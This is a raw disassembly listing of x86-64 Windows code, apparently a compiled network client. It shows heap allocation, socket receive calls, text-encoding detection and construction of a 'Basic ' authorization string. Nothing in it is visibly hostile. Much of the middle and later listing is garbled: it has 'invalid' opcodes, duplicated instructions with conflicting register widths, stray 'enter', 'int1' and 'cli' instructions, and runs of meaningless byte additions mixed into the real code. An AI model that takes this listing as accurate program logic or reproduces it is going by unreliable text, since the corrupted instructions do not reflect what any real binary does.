mov dword [rax + rcx + 0xb8], edx
mov edx, dword [rbx + 0x118]
mov dword [rax + rcx + 0xbc], edx
mov edx, dword [rbx + 0x1a4]
mov dword [rax + rcx + 0xc0], edx
mov word [rax + rcx + 0xc4], r14w
movzx edx, word [rbx + 0x198]
mov word [rax + rcx + 0xc6], dx
movzx edx, byte [rbx + 0x2b0]
mov byte [rax + rcx + 0xd8], dl
movaps xmm0, xmmword [rbx + 0x2a0]
movups xmmword [rax + rcx + 0xc8], xmm0
mov r8d, dword [rbx + 0x850]
mov edx, dword [rbx + 0x853]
mov dword [rax + rcx + 0xdc], edx
mov dword [rax + rcx + 0xd9], r8d
mov qword [rax + rcx + 0xe0], 1
mov rdx, qword [rbx + 0x160]
mov qword [rax + rcx + 0x108], rdx
movdqa xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movups xmmword [rax + rcx + 0xf8], xmm1
movdqu xmmword [rax + rcx + 0xe8], xmm0
mov qword [rax + rcx + 0x110], r13
mov ecx, esi
shl r12, cl
lock or qword [rax + 0x2310], r12
mov rax, qword [rdi + 0x110]
nop dword [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdi + 0x110], rcx
jne 0x14000c060
test rax, rax
mov r14d, dword [rbx + 0xa8]
jne 0x14000c0a8
mov rcx, qword [rdi + 0x100]
mov rax, qword [rdi + 0x108]
mov qword [rdi + 0x108], 0
lock and qword [rdi + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x14000c0a8
call qword [rax + ioctlsocket]
mov rdi, qword [rbx + 0x810]
cmp rdi, 2
mov qword [rbx + 0xe0], rdi
jne 0x14000c0d4
cmp r14d, 0x3b9aca00
jne 0x14000c22a
mov r15d, 0x3b9aca00
jmp 0x14000c289
mov rax, qword [rbx + 0x840]
mov qword [rbx + 0x1f0], rax
movdqu xmm0, xmmword [rbx + 0x800]
movups xmm1, xmmword [rbx + 0x810]
movups xmm2, xmmword [rbx + 0x820]
movups xmm3, xmmword [rbx + 0x830]
movaps xmmword [rbx + 0x1e0], xmm3
movaps xmmword [rbx + 0x1d0], xmm2
movaps xmmword [rbx + 0x1c0], xmm1
movdqa xmmword [rbx + 0x1b0], xmm0
cmp r14d, 0x3b9aca00
jne 0x14000c514
mov r12d, 0x3b9aca00
jmp 0x14000c57a
movups xmm0, xmmword [rbx + 0xb50]
movups xmmword [rbx + 0xdd0], xmm0
movups xmm0, xmmword [rbx + 0xb10]
movups xmm1, xmmword [rbx + 0xb20]
movups xmm2, xmmword [rbx + 0xb30]
movups xmm3, xmmword [rbx + 0xb40]
movups xmmword [rbx + 0xdc0], xmm3
movups xmmword [rbx + 0xdb0], xmm2
movups xmmword [rbx + 0xda0], xmm1
movups xmmword [rbx + 0xd90], xmm0
mov qword [rbx + 0xd80], 0
lea rcx, [rbx + 0xd80]
call fcn.14012e9d0
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000c1b6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f573
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x60
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f573
mov r14, rax
movups xmm0, xmmword [rbx + 0xdd0]
movups xmmword [rax + 0x50], xmm0
movups xmm0, xmmword [rbx + 0xdc0]
movups xmmword [rax + 0x40], xmm0
movups xmm0, xmmword [rbx + 0xd80]
movups xmm1, xmmword [rbx + 0xd90]
movups xmm2, xmmword [rbx + 0xda0]
movups xmm3, xmmword [rbx + 0xdb0]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
xor r13d, r13d
mov rax, qword [rbx + 0x4a8]
cmp rax, 2
jne 0x14000a52c
jmp 0x14000a589
call fcn.1401484d0
add rax, qword [rbx + 0xb0]
jb 0x14000f52c
mov r15d, edx
add r15d, r14d
cmp r15d, 0x3b9ac9ff
jbe 0x14000c25b
inc rax
je 0x14000f52c
add r15d, 0xc4653600
mov ecx, r15d
shr ecx, 9
imul rdi, rcx, 0x44b83
shr rdi, 0x27
add rdi, rax
jb 0x14000f5da
imul rax, rcx, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub r15d, eax
call fcn.14013ded0
test rax, rax
je 0x14000f2be
mov rsi, rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000c2bf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f836
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f836
movdqu xmmword [rax], xmm6
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
mov qword [rbx + 0xaa0], rcx
lea rax, vtable..0
mov qword [rbx + 0xaa8], rax
lea rax, [rbx + 0xaa0]
mov qword [rbx + 0x2a0], rax
mov qword [rbx + 0x1b0], r13
mov byte [rbx + 0x1c0], 0
lea r12, [rbx + 0x1b8]
cmp r15d, 0x3b9aca00
jne 0x14000c679
xor eax, eax
lea rsi, [rbx + 0x380]
lea rdi, [rbx + 0x2a0]
test eax, eax
jne 0x14000c355
jmp 0x14000c35f
mov byte [rbx + 0x1c0], 3
call fcn.14013e170
mov eax, 3
test eax, eax
je 0x14000c35f
cmp eax, 3
je 0x14000c36d
jmp 0x14000f2e2
mov rax, qword [rbx + 0x1b0]
mov qword [rbx + 0x1b8], rax
mov rcx, rsi
mov rdx, r12
mov r8, rdi
call fcn.14012dee0
mov r13, qword [rbx + 0x3e0]
cmp r13, 5
je 0x14000c340
mov r15, qword [rbx + 0x380]
movups xmm0, xmmword [rbx + 0x388]
movaps xmmword [rbx + 0xd80], xmm0
movups xmm0, xmmword [rbx + 0x398]
movaps xmmword [rbx + 0xd90], xmm0
movups xmm0, xmmword [rbx + 0x3a8]
movaps xmmword [rbx + 0xda0], xmm0
movups xmm0, xmmword [rbx + 0x3b8]
movaps xmmword [rbx + 0xdb0], xmm0
movups xmm0, xmmword [rbx + 0x3c8]
movaps xmmword [rbx + 0xdc0], xmm0
mov rax, qword [rbx + 0x3d8]
mov qword [rbx + 0xdd0], rax
movups xmm0, xmmword [rbx + 0x3e8]
movaps xmmword [rbx + 0x140], xmm0
movups xmm0, xmmword [rbx + 0x3f8]
movaps xmmword [rbx + 0x150], xmm0
movdqu xmm0, xmmword [rbx + 0x408]
movdqa xmmword [rbx + 0x160], xmm0
mov rdx, qword [rbx + 0x1b8]
test rdx, rdx
mov r12, qword [rbx + 0xd8]
je 0x14000c470
mov rax, qword [rdx + 0x30]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14000c430
and eax, 0xa
cmp eax, 8
jne 0x14000c452
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x14000c470
lock dec qword [rax]
jne 0x14000c470
mov rcx, qword [rbx + 0x1b8]
call fcn.1401204a0
cmp r13d, 4
je 0x14000f80e
mov rax, qword [rbx + 0xdd0]
mov qword [rbx + 0x290], rax
movaps xmm0, xmmword [rbx + 0xdc0]
movaps xmmword [rbx + 0x280], xmm0
movaps xmm0, xmmword [rbx + 0xd80]
movaps xmm1, xmmword [rbx + 0xd90]
movaps xmm2, xmmword [rbx + 0xda0]
movaps xmm3, xmmword [rbx + 0xdb0]
movaps xmmword [rbx + 0x270], xmm3
movaps xmmword [rbx + 0x260], xmm2
movaps xmmword [rbx + 0x250], xmm1
movaps xmmword [rbx + 0x240], xmm0
movdqa xmm0, xmmword [rbx + 0x140]
movaps xmm1, xmmword [rbx + 0x150]
movaps xmm2, xmmword [rbx + 0x160]
movdqa xmmword [rbx + 0x7c0], xmm0
movaps xmmword [rbx + 0x7d0], xmm1
movaps xmmword [rbx + 0x7e0], xmm2
mov r14d, dword [rbx + 0xa8]
mov rcx, qword [rbx + 0xaa0]
mov rax, qword [rbx + 0xaa8]
jmp 0x140010c97
call fcn.1401484d0
add rax, qword [rbx + 0xb0]
jb 0x14000f52c
mov r12d, edx
add r12d, r14d
cmp r12d, 0x3b9ac9ff
jbe 0x14000c545
inc rax
je 0x14000f52c
add r12d, 0xc4653600
mov ecx, r12d
shr ecx, 9
imul rdx, rcx, 0x44b83
shr rdx, 0x27
add rdx, rax
mov qword [rbx + 0xa0], rdx
jb 0x14000f5da
imul rax, rcx, 0x44b83
shr rax, 0x27
imul eax, eax, 0x3b9aca00
sub r12d, eax
call fcn.14013ded0
test rax, rax
je 0x14000f2be
mov rsi, rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000c5b0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f836
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f836
movdqu xmmword [rax], xmm6
mov rcx, rax
add rcx, 0x10
mov qword [rax + 0x10], rsi
mov qword [rbx + 0xb90], rcx
lea rax, vtable..0
mov qword [rbx + 0xb98], rax
lea rax, [rbx + 0xb90]
mov qword [rbx + 0x230], rax
mov qword [rbx + 0x380], r13
movdqa xmm0, xmmword [rbx + 0x1b0]
movaps xmm1, xmmword [rbx + 0x1c0]
movaps xmm2, xmmword [rbx + 0x1d0]
movaps xmm3, xmmword [rbx + 0x1e0]
movdqu xmmword [rbx + 0x388], xmm0
movups xmmword [rbx + 0x398], xmm1
movups xmmword [rbx + 0x3a8], xmm2
movups xmmword [rbx + 0x3b8], xmm3
mov rax, qword [rbx + 0x1f0]
mov qword [rbx + 0x3c8], rax
mov byte [rbx + 0x3d1], 0
lea r13, [rbx + 0x3d8]
lea rsi, [rbx + 0x450]
xor eax, eax
movzx eax, al
lea rcx, [0x1400113d0]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov dword [rbx + 0xb8], r12d
jmp rax
lea rsi, [rbx + 0x380]
lea r14, [rbx + 0x2a0]
xor eax, eax
jmp 0x14000c6c5
mov qword [rbx + 0x380], rdi
mov dword [rbx + 0x388], r15d
mov rcx, rsi
mov rdx, rax
call fcn.1401486a0
cmp edx, 0x3b9aca00
mov ecx, 0
cmove edx, ecx
mov ecx, 0
cmovne rcx, rax
call fcn.14013e350
mov eax, 3
test eax, eax
je 0x14000c6d3
cmp eax, 3
je 0x14000c6e1
jmp 0x14000f2e2
mov rax, qword [rbx + 0x1b0]
mov qword [rbx + 0x1b8], rax
mov rcx, rsi
mov rdx, r12
mov r8, r14
call fcn.14012dee0
mov r13, qword [rbx + 0x3e0]
cmp r13, 5
jne 0x14000c388
mov byte [rbx + 0x1c0], 3
call fcn.1401484d0
mov r8d, edx
cmp rax, rdi
jb 0x14000c68b
jne 0x14000c723
cmp r8d, r15d
jb 0x14000c68b
mov rdx, qword [rbx + 0x1b8]
mov r13d, 4
add byte [rcx - 0x43], al
add al, 0
add byte [rax], al
test rdx, rdx
je 0x14000ce77
mov rax, qword [rdx + 0x30]
mov r12, qword [rbx + 0xd8]
mov r14d, dword [rbx + 0xa8]
add byte [rax], al
add byte [rax], al
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rdx + 0x30], rcx
jne 0x14000c74b
int1
int1
and eax, 0xa
cmp eax, 8
jne 0x14000c76d
mov rcx, qword [rdx + 0x10]
mov rax, qword [rdx + 0x18]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbx + 0x1b8]
test rax, rax
je 0x14000c78b
lock dec qword [rax]
jne 0x14000c78b
mov rcx, qword [rbx + 0x1b8]
call fcn.1401204a0
xor r15d, r15d
jmp 0x14000c501
mov qword [rbx + 0xe8], rax
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000c7bf
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000f836
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f836
mov r14, rax
mov qword [rbx + 0xf0], rdi
mov qword [rax], rdi
mov qword [rax + 8], rsi
mov qword [rax + 0x10], 1
lea rdi, [0x140177d60]
jmp 0x14000c822
xor edi, edi
cmp byte [rbx + 0x4f8], 0
je 0x14000c822
mov rax, qword [rbx + 0x4e8]
lea rcx, [rbx + 0x4e0]
mov rdx, qword [rbx + 0x4d0]
mov r8, qword [rbx + 0x4d8]
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rbx + 0x4f8], 0
lea rcx, [rbx + 0x4b0]
call fcn.1400aef50
mov byte [rbx + 0x4f9], 1
mov r8, qword [rbx + 0x5d0]
cmp qword [r8], 0
je 0x14000c863
mov r8, qword [r8 + 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbx + 0x5d0]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rbx + 0x670], 1
mov rcx, r12
call fcn.140131b10
test rdi, rdi
je 0x14000c8e5
mov rsi, qword [rbx + 0xe8]
mov qword [rbx + 0x1b8], rsi
mov qword [rbx + 0x1c0], r14
mov rdx, qword [rbx + 0xf0]
mov qword [rbx + 0x1b0], rdx
mov qword [rbx + 0x118], rdi
mov qword [rbx + 0x1c8], rdi
mov r15, qword [rbx + 0x488]
cmp rsi, 3
jae 0x14000c94e
cmp rsi, 2
je 0x14000c965
mov qword [rbx + 0xc0], rsi
mov qword [rbx + 0xc8], rdx
jmp case.0x14001099d.192
cmp dword [rbx + 0x3a0], 2
mov r14, qword [rbx + 0xd8]
mov rdi, qword [rbx + 0xf0]
je 0x14000df0f
cmp byte [rbx + 0x380], 0
je 0x14000c929
cmp qword [rbx + 0x388], 0
je 0x14000c929
mov r8, qword [rbx + 0x390]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rbx + 0x3b8], 1
jne 0x14000df0f
cmp qword [rbx + 0x3c8], 0
je 0x14000df0f
xor ecx, ecx
mov r15, rdi
jmp 0x14000deeb
movzx eax, word [rdx]
xor eax, 0xbbef
movzx ecx, byte [rdx + 2]
xor ecx, 0xbf
or cx, ax
je case.0x140007c72.199
invalid
cmp cl, byte [rdi]
mov bh, 2
movzx eax, word [rdx]
cmp eax, 0xfeff
je 0x14000c991
add byte [rdx + riz + 0x66], dh
cmp dword [rdx], 0xfffffffe
cmp word [rdx], 0xfffe
mov qword [rbx + 0xc0], rsi
mov dword [rbx + 0xc0], esi
mov qword [rbx + 0xc8], rdx
xchg ebx, eax
enter 0, 0
jne case.0x14001099d.192
lea r15, str.UTF_16BE
lea edi, [0x1401a3da8]
je 0x14000c9a2
add byte [rax + 2], bh
mov eax, 2
add al, byte [rax]
add byte [rax], al
add byte [rax], al
add bl, ch
jmp 0x14000c9ae
invalid
invalid
invalid
clc
jmp 0x14000c9ae
lea rcx, [0x1401e3590]
or eax, 0x1d6bf8
clc
imul ebx, dword [0x14003819c], 0
add byte [rax + 2], bh
mov eax, 2
add byte [rax], al
add bl, ch
or al, 0x48
lea rcx, [0x1401e3588]
jmp case.0x140007eed.194
lea rcx, [0x1401e3588]
loop 0x14000ca0f
imul ebx, dword [0x1400481aa], 0
add byte [rbx + rcx*4 + 0x39], cl
mov r15, qword [rcx]
sbb eax, 0x3b800
add byte [rax + 3], bh
mov eax, 3
add eax, dword [rax]
add byte [rax], al
mov r15, qword [rcx]
lea rcx, [rdx + rax]
lea ecx, [rdx + rax]
mov qword [rbx + 0xc8], rcx
mov dword [rbx + 0xc8], ecx
enter 0, 0
add byte [rax], al
sub rsi, rax
mov qword [rbx + 0xc0], rsi
rol byte [rax], 0
invalid
invalid
rol byte [rax], 0
add byte [rax - 0x73], cl
invalid
invalid
lea rax, str.UTF_16LE
add eax, 0x197406
je 0x14000c9e2
add byte [rcx + 0x39], cl
invalid
cmp r15, rax
cmp edi, eax
je 0x14000ca26
lea rax, str.replacement
cmp r15, rax
add byte [rcx + 0x39], cl
invalid
je 0x14000ca26
lea rax, str.UTF_16BE
cmp r15, rax
je 0x14000ca26
lea rax, str.UTF_8
cmp r15, rax
je 0x14000ca46
lea rax, str.ISO_2022_JP
cmp r15, rax
je 0x14000ca61
mov r14, qword [rbx + 0xc8]
neg r14d
and r14d, 7
lea rax, [r14 + 0x10]
cmp rax, qword [rbx + 0xc0]
adc byte [rax + 0x3b], r9b
add eax, 0
add byte [rax], al
jbe 0x14000ca9f
xor r14d, r14d
jmp 0x14000cb9e
movzx ecx, byte [r15 + 0x10]
mov al, 9
lea rdx, [0x1400116b4]
movsxd rdi, dword [rdx + rcx*4]
add rdi, rdx
jmp rdi
mov al, 2
xor edx, edx
jmp case.0x14000ca3b.12
mov rcx, qword [rbx + 0xc8]
mov rdx, qword [rbx + 0xc0]
call fcn.140062730
mov r14, rax
jmp case.0x140007c11.238
xor ecx, ecx
mov eax, 0x800c000
cmp qword [rbx + 0xc0], rcx
je 0x14000d4aa
mov r14, rcx
mov rcx, qword [rbx + 0xc8]
movzx edx, byte [rcx + r14]
test dl, dl
js case.0x140007c11.238
lea rcx, [r14 + 1]
cmp edx, 0x1b
ja 0x14000ca68
bt eax, edx
jae 0x14000ca68
jmp case.0x140007c11.238
test r14, r14
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax], 0
js 0x14000ce6f
cmp r14d, 1
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax + 1], 0
js 0x14000d486
cmp r14d, 2
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax + 2], 0
js 0x14000ee8f
cmp r14d, 3
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax + 3], 0
js 0x14000eeb0
cmp r14d, 4
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax + 4], 0
js 0x14000eebb
mov rcx, r14
cmp r14d, 5
mov r13, qword [rbx + 0xf8]
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax + 5], 0
js 0x14000eee7
mov r14, rcx
cmp r14d, 6
mov r13, qword [rbx + 0xf8]
je 0x14000cb5e
mov rax, qword [rbx + 0xc8]
cmp byte [rax + 6], 0
js 0x14000ef4d
mov rax, qword [rbx + 0xc0]
add rax, 0xfffffffffffffff0
movabs rcx, 0x8080808080808080
mov rdi, qword [rbx + 0xc8]
mov rdx, qword [rdi + r14]
and rdx, rcx
mov rsi, qword [rdi + r14 + 8]
and rsi, rcx
mov rdi, rsi
or rdi, rdx
jne 0x14000ce5d
add r14, 0x10
cmp r14, rax
jbe 0x14000cb73
cmp r14, qword [rbx + 0xc0]
jae 0x14000d4aa
mov rax, qword [rbx + 0xc8]
cmp byte [rax + r14], 0
js case.0x140007c11.238
inc r14
cmp qword [rbx + 0xc0], r14
jne 0x14000cbb2
jmp 0x14000d4aa
mov rcx, r12
call fcn.140131b10
xor r15d, r15d
cmp dword [rbx + 0x3a0], 2
mov ecx, 0
mov r14, qword [rbx + 0xd8]
je case.0x140007c11.247
cmp byte [rbx + 0x380], 0
je 0x14000cc1b
cmp qword [rbx + 0x388], 0
je 0x14000cc1b
mov r8, qword [rbx + 0x390]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor r15d, r15d
cmp dword [rbx + 0x3b8], 1
jne 0x14000d47f
cmp qword [rbx + 0x3c8], 0
mov ecx, 0
je case.0x140007c11.247
mov r8, qword [rbx + 0x3d0]
mov rcx, qword [0x140221370]
xor r15d, r15d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor ecx, ecx
jmp case.0x140007c11.247
lea rdi, [0x1401e46b0]
lea rax, method..virtual_32
mov qword [rbx + 0xf0], rax
jmp 0x14000bb11
mov rdx, qword [r15 + 0x18]
xor eax, eax
jmp case.0x14000ca3b.12
mov dword [rbx + 0x318], 0
mov qword [rbx + 0x310], 0
mov al, 1
xor edx, edx
jmp case.0x14000ca3b.12
mov al, 3
jmp case.0x14000ca3b.12
mov al, 4
jmp case.0x14000ca3b.12
mov al, 5
jmp case.0x14000ca3b.12
mov al, 6
jmp case.0x14000ca3b.12
mov al, 7
jmp case.0x14000ca3b.12
mov al, 8
jmp case.0x14000ca3b.12
mov al, 0xa
mov cl, 1
jmp case.0x14000ca3b.12
mov al, 0xa
xor ecx, ecx
mov qword [rbx + 0x8a0], r15
mov byte [rbx + 0x880], al
mov dword [rbx + 0x881], 0
mov byte [rbx + 0x885], 0
mov byte [rbx + 0x886], cl
mov byte [rbx + 0x887], 0
mov qword [rbx + 0x888], rdx
mov rax, qword [rbx + 0x310]
mov qword [rbx + 0x890], rax
mov eax, dword [rbx + 0x318]
mov dword [rbx + 0x898], eax
mov word [rbx + 0x89c], 0xbf80
mov byte [rbx + 0x8a8], 9
lea rcx, [rbx + 0x880]
mov rdi, qword [rbx + 0xc0]
mov rdx, rdi
call fcn.1400623d0
test rax, rax
je 0x14000cd82
mov r14, rax
mov esi, 1
cmp rdx, 2
jb 0x14000cd59
dec rdx
bsr rcx, rdx
xor ecx, 0x3f
mov rsi, 0xffffffffffffffff
shr rsi, cl
inc rsi
lea rcx, [rbx + 0x880]
mov rdx, rdi
call fcn.140062570
mov r15, rdx
cmp r14, 1
jne 0x14000cd94
cmp rsi, r15
cmovb r15, rsi
cmp rax, 1
cmovne r15, rsi
jmp 0x14000cd9d
lea rcx, [rbx + 0x880]
mov rdx, rdi
call fcn.140062570
mov r15, rdx
test rax, rax
je 0x14000f67b
test r15, r15
je 0x14000cde2
js 0x14000f20f
mov rcx, qword [0x140221370]
test rcx, rcx
jne 0x14000cdcd
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000d6f1
mov rcx, rax
mov qword [0x140221370], rax
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
jne 0x14000cde7
jmp 0x14000d6f1
mov eax, 1
movdqu xmm0, xmmword [rbx + 0x880]
movups xmm1, xmmword [rbx + 0x890]
movups xmm2, xmmword [rbx + 0x8a0]
movaps xmmword [rbx + 0xc50], xmm2
movaps xmmword [rbx + 0xc40], xmm1
movdqa xmmword [rbx + 0xc30], xmm0
movaps xmmword [rbx + 0x8a0], xmm2
movaps xmmword [rbx + 0x890], xmm1
movdqa xmmword [rbx + 0x880], xmm0
mov qword [rbx + 0x800], r15
mov qword [rbx + 0x808], rax
mov qword [rbx + 0x810], 0
xor r14d, r14d
jmp 0x14000d777
lea rdi, [0x1401ba030]
mov qword [rbx + 0xe8], rsi
jmp 0x14000c822
test rdx, rdx
je 0x14000ce86
bsf rax, rdx
shr rax, 3
jmp 0x14000d49b
xor r14d, r14d
jmp case.0x140007c11.238
xor r15d, r15d
mov r12, qword [rbx + 0xd8]
jmp 0x14000c4fa
test rsi, rsi
je 0x14000d48e
bsf rax, rsi
jmp 0x14000d493
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
lea r15, [0x140004f80]
je 0x14000f7f4
mov rcx, rax
mov qword [0x140221370], rax
mov r8d, 6
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000f7f4
mov qword [rbx + 0x800], 6
mov qword [rbx + 0x808], rax
mov word [rax + 4], 0x2063
mov dword [rax], 0x69736142
mov qword [rbx + 0x810], 6
mov byte [rbx + 0x7a2], 0
mov word [rbx + 0x7a0], 0
mov r8d, 0x400
lea rsi, [rbx + 0x380]
mov rcx, rsi
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1401ea622]
mov qword [rbx + 0x798], rax
lea rax, [rbx + 0x800]
mov qword [rbx + 0x780], rax
mov byte [rbx + 0x7a3], 0
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x788], xmm0
lea rax, [rbx + 0xaa0]
mov qword [rbx + 0x2a0], rax
mov qword [rbx + 0x2a8], r15
mov r13, rsi
mov qword [rbx + 0x1b8], rsi
mov qword [rbx + 0x1b0], 0
mov qword [rbx + 0x240], 0
lea rax, [0x1401e6ff0]
mov qword [rbx + 0x250], rax
mov qword [rbx + 0x258], 2
lea rax, [rbx + 0x2a0]
mov qword [rbx + 0x260], rax
mov qword [rbx + 0x268], 1
lea rdx, [0x1401e5460]
lea r14, [rbx + 0x1b0]
lea r8, [rbx + 0x240]
mov rcx, r14
call fcn.14005b7f0
mov rsi, qword [rbx + 0x1b0]
test al, al
je 0x14000d05a
test rsi, rsi
lea rdi, str.formatter_error
cmovne rdi, rsi
mov eax, edi
and eax, 3
cmp eax, 1
mov rcx, qword [rbx + 0xa0]
jne 0x14000d0b8
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rax, qword [rdi + 7]
cmp qword [rax + 8], 0
je 0x14000d04c
mov r8, qword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14000d03d
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rsi
jmp 0x14000d0ab
test rsi, rsi
je 0x14000d0b1
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14000d0b1
lea rdi, [rsi - 1]
mov rcx, qword [rsi - 1]
mov rax, qword [rsi + 7]
call qword [rax]
mov rax, qword [rsi + 7]
cmp qword [rax + 8], 0
je 0x14000d09f
mov r8, qword [rdi]
cmp qword [rax + 0x10], 0x11
jb 0x14000d090
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbx + 0xa0]
test r12, r12
je 0x14000d236
mov rax, qword [rbx + 0xa8]
mov qword [rbx + 0x1b0], rax
mov qword [rbx + 0x1b8], r12
mov qword [rbx + 0x1c0], rcx
mov qword [rbx + 0x7c0], r14
mov qword [rbx + 0x7c8], r15
mov qword [rbx + 0x2a8], r13
mov qword [rbx + 0x2a0], 0
mov qword [rbx + 0x240], 0
lea rax, str.8N__
mov qword [rbx + 0x250], rax
mov qword [rbx + 0x258], 1
lea rax, [rbx + 0x7c0]
mov qword [rbx + 0x260], rax
mov qword [rbx + 0x268], 1
lea rdx, [0x1401e5460]
lea rcx, [rbx + 0x2a0]
lea r8, [rbx + 0x240]
call fcn.14005b7f0
mov rdi, qword [rbx + 0x2a0]
test al, al
je 0x14000d1bf
test rdi, rdi
lea rsi, str.formatter_error
cmovne rsi, rdi
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14000d216
lea rdi, [rsi - 1]
mov rcx, qword [rsi - 1]
mov rax, qword [rsi + 7]
call qword [rax]
mov rax, qword [rsi + 7]
cmp qword [rax + 8], 0
je 0x14000d1b1
mov r8, qword [rdi]
cmp qword [rax + 0x10], 0x11
jb 0x14000d1a2
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
xor edx, edx
mov r8, rdi
jmp 0x14000d210
test rdi, rdi
je 0x14000d216
mov eax, edi
and eax, 3
cmp eax, 1
jne 0x14000d216
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
mov rax, qword [rdi + 7]
cmp qword [rax + 8], 0
je 0x14000d204
mov r8, qword [rsi]
mov eax, dword [rsi]
cmp qword [rax + 0x10], 0x11
jb 0x14000d1f5
mov r8, qword [r8 - 8]
mov rcx, qword [0x140221370]
je 0x14000d23b
and dword [rax], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140221370]
and dword [r8], eax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0x1b0], 0
je 0x14000d236
mov ebx, 0x1b0
add byte [rsi + rdx + 0x4c], dh
mov eax, dword [rbx + 0x1b8]
mov r8, qword [rbx + 0x1b8]
mov rcx, qword [0x140221370]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea edx, [rsi]
invalid
lea edx, [rsi]
add byte [rax - 0x73], cl
mov eax, dword [rax - 0x17fffffd]
add eax, dword [rax]
add al, ch
lea rcx, [rbx + 0x380]
add eax, dword [rax]
add al, ch
add byte [rax], al
call fcn.1400ae5a0
pop rsi
adc ecx, dword [rdx]
add byte [rax - 0x75], cl
mov rdi, qword [rbx + 0x808]
mov rdi, qword [rbx + 0x808]
mov rsi, qword [rbx + 0x810]
mov esi, dword [rbx + 0x810]
xor eax, eax
lea r15, [0x1401e46b0]
push rdi
je case.0x140007eed.206
add byte [rax + 0x39], cl
invalid
cmp rsi, rax
cmp esi, eax
je 0x14000d2a9
movzx rdx, byte [r15 + r8]
movzx edx, byte [rdi + rax]
invalid
cmp dl, 0x20
setae cl
cmp dl, 0x7f
cli
jg 0x14000d2ad
setne al
cli
jg 0x14000d2ad
setne al
xchg ebp, eax
ror byte [rax - 1], 0xc0
invalid
inc rax
rol byte [rax - 0x1d8bf606], 0x44
cmp dl, 9
cli
or dword [rdx + riz*8 + 0x44], esi
je case.0x140007c11.215
invalid
je case.0x140007c11.215
and cl, r8b
and cl, al
